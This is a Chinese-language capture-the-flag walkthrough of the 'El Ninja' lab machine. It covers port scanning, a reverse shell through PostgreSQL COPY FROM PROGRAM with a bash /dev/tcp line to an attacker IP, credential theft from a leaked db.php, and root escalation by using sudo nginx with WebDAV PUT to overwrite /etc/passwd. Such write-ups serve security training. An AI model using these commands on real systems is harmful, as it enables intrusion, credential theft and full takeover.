El Ninja

image

信息搜集

192.168.43.179

端口扫描

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┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.179 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.179:22
Open 192.168.43.179:80
Open 192.168.43.179:1337
Open 192.168.43.179:5000
Open 192.168.43.179:5432
Open 192.168.43.179:9999
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.179
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-22 04:18 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:18
Completed NSE at 04:18, 0.00s elapsed
Initiating ARP Ping Scan at 04:18
Scanning 192.168.43.179 [1 port]
Completed ARP Ping Scan at 04:18, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 04:18
Completed Parallel DNS resolution of 1 host. at 04:18, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 04:18
Scanning 192.168.43.179 [6 ports]
Discovered open port 5432/tcp on 192.168.43.179
Discovered open port 9999/tcp on 192.168.43.179
Discovered open port 80/tcp on 192.168.43.179
Discovered open port 1337/tcp on 192.168.43.179
Discovered open port 5000/tcp on 192.168.43.179
Discovered open port 22/tcp on 192.168.43.179
Completed SYN Stealth Scan at 04:18, 0.02s elapsed (6 total ports)
Initiating Service scan at 04:18
Scanning 6 services on 192.168.43.179
Completed Service scan at 04:19, 71.86s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.179
NSE: Script scanning 192.168.43.179.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.26s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 1.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
Nmap scan report for 192.168.43.179
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-05-22 04:18:04 CST for 75s

PORT     STATE SERVICE    REASON         VERSION
22/tcp   open  ssh        syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfdC6S1w4UYO17jknxy06B1COEcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyP1mRMULBpy4OqNENpp/l/O/cIq
80/tcp   open  http       syn-ack ttl 64 nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: nginx/1.22.1
1337/tcp open  http       syn-ack ttl 64 Uvicorn
|_http-server-header: uvicorn
|_http-title: Site doesn't have a title (application/json).
5000/tcp open  http       syn-ack ttl 64 Werkzeug httpd 3.1.8 (Python 3.11.2)
|_http-server-header: Werkzeug/3.1.8 Python/3.11.2
|_http-title: THL Ninjas \xE2\x80\x94 Precision. Silencio. Ejecucion....
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
5432/tcp open  postgresql syn-ack ttl 64 PostgreSQL DB 15.15 - 15.16
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-16T11:07:27
| Not valid after:  2034-10-14T11:07:27
| MD5:     ca61 60af 966d b24a f708 6aa7 8fce 96eb
| SHA-1:   11f7 bc24 df51 ac09 5a31 1457 bfdd 8a1a c1a6 f519
| SHA-256: c97b d2e5 49fd 70fa 8f31 2f44 e829 ed24 94b1 51f7 1a44 b811 b5c9 629a e1a6 0e58
| -----BEGIN CERTIFICATE-----
| MIIC7zCCAdegAwIBAgIUHf2XwnROxSVnVvmGwX/RjKnStdMwDQYJKoZIhvcNAQEL
| BQAwETEPMA0GA1UEAwwGZGViaWFuMB4XDTI0MTAxNjExMDcyN1oXDTM0MTAxNDEx
| MDcyN1owETEPMA0GA1UEAwwGZGViaWFuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAr/sXNjhXXeHo67q0HzLgjgJwaRakNeGC0eMyCZ0nz+routHFhLy7
| Oug07r2tI+sG8jal2NsOUNyJ+y9ljh0hgAr4KIuubdku4DT9KjXgOWUiI5fF94kE
| xe3kf8rlkkwdjjRWee7UltIq6OOVnnlH3jEXKGywp6B4zMSVjb6v3f0xLMxJ+upZ
| 6o+spMkzXAHz9H+XHPLZ67j9A1NdNLX1lZrjAKG2TurO24AcllThK3CcrhMcnw0L
| AcjiwBcsEXHi+t0d1Oqtp0llG0loUOVwhHeQJifdQovDKV8LIjOFt1SlcwQPYWRy
| L52Ah6FV/hvCY0A4EkOuMDg7oJcOLJnfdwIDAQABoz8wPTAJBgNVHRMEAjAAMBEG
| A1UdEQQKMAiCBmRlYmlhbjAdBgNVHQ4EFgQUwVCoeeFrEIqVelYJMlMJg7+PblYw
| DQYJKoZIhvcNAQELBQADggEBAANAlUSVmuJsvjqiQqPKDCJ7NDnQgBeaIfJOX4eQ
| EbP9SJGfkmHKTklAFKuXALWBk+61DpWQdJ1cHw3MVSGg2ODUHTszdtm4a2a//xC1
| 9UF3LtZvMMJ1wX4TWV2YKdD0lH6E0YqVybiUc+dCbhcSpOiNgeq8lNU9MmPqryuT
| 516AM3HYtQtG6E99ZPLN4anzo46Avw1r2bXMmxjLo+DyyPPSn9sU7XWfI8dWLEcu
| 8JuJlb6fiFOgdWo1dSzxSjSF0feKkqecwZFrVnqf7FPqr7UJKurF+UAic3pSPs7i
| T+p6SpM1QzJLKHLP8j/QPXiWZ3fZopl7mrh5yiCpWJw+rA0=
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
9999/tcp open  abyss?     syn-ack ttl 64
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, NULL:
|     [+] Username:
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
|     [+] Username: [+] Password:
|     Login Failed
|   Help:
|     [+] Username: [+] Password:
|   RPCCheck:
|     [+] Username: Traceback (most recent call last):
|     File "/home/wvverez/server.py", line 33, in <module>
|     handle()
|     File "/home/wvverez/server.py", line 13, in handle
|     user = sys.stdin.readline().strip()
|     ^^^^^^^^^^^^^^^^^^^^
|     File "<frozen codecs>", line 322, in decode
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
|   SSLSessionReq:
|     [+] Username: Traceback (most recent call last):
|     File "/home/wvverez/server.py", line 33, in <module>
|     handle()
|     File "/home/wvverez/server.py", line 13, in handle
|     user = sys.stdin.readline().strip()
|     ^^^^^^^^^^^^^^^^^^^^
|     File "<frozen codecs>", line 322, in decode
|     UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
|   TerminalServerCookie:
|     [+] Username: Traceback (most recent call last):
|     File "/home/wvverez/server.py", line 33, in <module>
|     handle()
|     File "/home/wvverez/server.py", line 13, in handle
|     user = sys.stdin.readline().strip()
|     ^^^^^^^^^^^^^^^^^^^^
|     File "<frozen codecs>", line 322, in decode
|_    UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe0 in position 5: invalid continuation byte
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.99%I=7%D=5/22%Time=6A0F6882%P=x86_64-pc-linux-gnu%r(NU
SF:LL,E,"\[\+\]\x20Username:\x20")%r(GetRequest,2E,"\[\+\]\x20Username:\x2
SF:0\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Failed\n")%r(HTTPOptions,2E
SF:,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Fai
SF:led\n")%r(FourOhFourRequest,2E,"\[\+\]\x20Username:\x20\[\+\]\x20Passwo
SF:rd:\x20\n\[-\]\x20Login\x20Failed\n")%r(JavaRMI,E,"\[\+\]\x20Username:\
SF:x20")%r(GenericLines,2E,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20
SF:\n\[-\]\x20Login\x20Failed\n")%r(RTSPRequest,2E,"\[\+\]\x20Username:\x2
SF:0\[\+\]\x20Password:\x20\n\[-\]\x20Login\x20Failed\n")%r(RPCCheck,17B,"
SF:\[\+\]\x20Username:\x20Traceback\x20\(most\x20recent\x20call\x20last\):
SF:\n\x20\x20File\x20\"/home/wvverez/server\.py\",\x20line\x2033,\x20in\x2
SF:0<module>\n\x20\x20\x20\x20handle\(\)\n\x20\x20File\x20\"/home/wvverez/
SF:server\.py\",\x20line\x2013,\x20in\x20handle\n\x20\x20\x20\x20user\x20=
SF:\x20sys\.stdin\.readline\(\)\.strip\(\)\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\n\x20\x20File\x2
SF:0\"<frozen\x20codecs>\",\x20line\x20322,\x20in\x20decode\nUnicodeDecode
SF:Error:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte\x200x80\x20in\x20
SF:position\x200:\x20invalid\x20start\x20byte\n")%r(DNSVersionBindReqTCP,E
SF:,"\[\+\]\x20Username:\x20")%r(DNSStatusRequestTCP,E,"\[\+\]\x20Username
SF::\x20")%r(Help,1C,"\[\+\]\x20Username:\x20\[\+\]\x20Password:\x20")%r(S
SF:SLSessionReq,183,"\[\+\]\x20Username:\x20Traceback\x20\(most\x20recent\
SF:x20call\x20last\):\n\x20\x20File\x20\"/home/wvverez/server\.py\",\x20li
SF:ne\x2033,\x20in\x20<module>\n\x20\x20\x20\x20handle\(\)\n\x20\x20File\x
SF:20\"/home/wvverez/server\.py\",\x20line\x2013,\x20in\x20handle\n\x20\x2
SF:0\x20\x20user\x20=\x20sys\.stdin\.readline\(\)\.strip\(\)\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\^\
SF:^\n\x20\x20File\x20\"<frozen\x20codecs>\",\x20line\x20322,\x20in\x20dec
SF:ode\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20decode\x20byte
SF:\x200xd7\x20in\x20position\x2013:\x20invalid\x20continuation\x20byte\n"
SF:)%r(TerminalServerCookie,182,"\[\+\]\x20Username:\x20Traceback\x20\(mos
SF:t\x20recent\x20call\x20last\):\n\x20\x20File\x20\"/home/wvverez/server\
SF:.py\",\x20line\x2033,\x20in\x20<module>\n\x20\x20\x20\x20handle\(\)\n\x
SF:20\x20File\x20\"/home/wvverez/server\.py\",\x20line\x2013,\x20in\x20han
SF:dle\n\x20\x20\x20\x20user\x20=\x20sys\.stdin\.readline\(\)\.strip\(\)\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\^\^\^\^\^\^\^\^\^\^\^\^\^\
SF:^\^\^\^\^\^\^\n\x20\x20File\x20\"<frozen\x20codecs>\",\x20line\x20322,\
SF:x20in\x20decode\nUnicodeDecodeError:\x20'utf-8'\x20codec\x20can't\x20de
SF:code\x20byte\x200xe0\x20in\x20position\x205:\x20invalid\x20continuation
SF:\x20byte\n");
MAC Address: 08:00:27:C1:48:F9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/22%OT=22%CT=%CU=39605%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0F68C7%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=108%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 5.442 days (since Sat May 16 17:42:20 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.61 ms 192.168.43.179

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:19
Completed NSE at 04:19, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.46 seconds
           Raw packets sent: 29 (2.070KB) | Rcvd: 21 (1.542KB)
  • 22 SSH
  • 80 HTTP
  • 1337 HTTP
  • 5000 HTTP
  • 5432 postgresql
  • 9999 Python 后台

postgresql未授权访问

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psql -h 192.168.43.179 -U postgres

利用COPY FROM PROGRAM进行反弹shell

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thlninjas_internal=# CREATE TABLE b_exec(cmd_out text);
CREATE TABLE
thlninjas_internal=# COPY b_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/192.168.43.6/4444 0>&1"';

image

在/opt目录下有个db.php泄露了wvverez用户的凭证

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postgres@TheHackersLabs-ElNinja:/var/lib/postgresql$ cd /opt/
postgres@TheHackersLabs-ElNinja:/opt$ ls
db.php
postgres@TheHackersLabs-ElNinja:/opt$ cat db.php
<?php
$db_credentials = [
    'username' => 'wvverez',
    'password' => 'dun1bd12dh979d178gd5%djnashda'
];
?>
postgres@TheHackersLabs-ElNinja:/opt$

横向移动到wvverez用户

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postgres@TheHackersLabs-ElNinja:/opt$ su wvverez
Contraseña:
wvverez@TheHackersLabs-ElNinja:/opt$ id
uid=1001(wvverez) gid=1001(wvverez) grupos=1001(wvverez),100(users)
wvverez@TheHackersLabs-ElNinja:/opt$

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提权

wvverez -> root

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wvverez@TheHackersLabs-ElNinja:~$ sudo -l
sudo: unable to resolve host TheHackersLabs-ElNinja: Nombre o servicio desconocido
Matching Defaults entries for wvverez on TheHackersLabs-ElNinja:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wvverez may run the following commands on TheHackersLabs-ElNinja:
    (root) NOPASSWD: /usr/sbin/nginx

nginx提权，gtfbins有方案

https://gtfobins.org/gtfobins/nginx/

这里是使用上传添加新用户的passwd(uid0 gid0)

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# 1. 复制现有的 passwd 文件
cp /etc/passwd /tmp/passwd_new

# 2. 写入/tmp/pwn.conf。向其中追加一行真正合法的免密 root 用户
echo 'pwned::0:0:root:/root:/bin/bash' >> /tmp/passwd_new
user root;
events { worker_connections 1024; }
http {
    server {
        # 监听一个全新未被占用的端口
        listen 9005;
        
        # 允许访问和操作整个根目录
        root /;
        autoindex on;
        
        # 开启 WebDAV 的 PUT 上传方法
        dav_methods PUT;
    }
}
sudo /usr/sbin/nginx -c /tmp/pwn.conf
curl -X PUT -T /tmp/passwd_new http://127.0.0.1:9005/etc/passwd
su pwned

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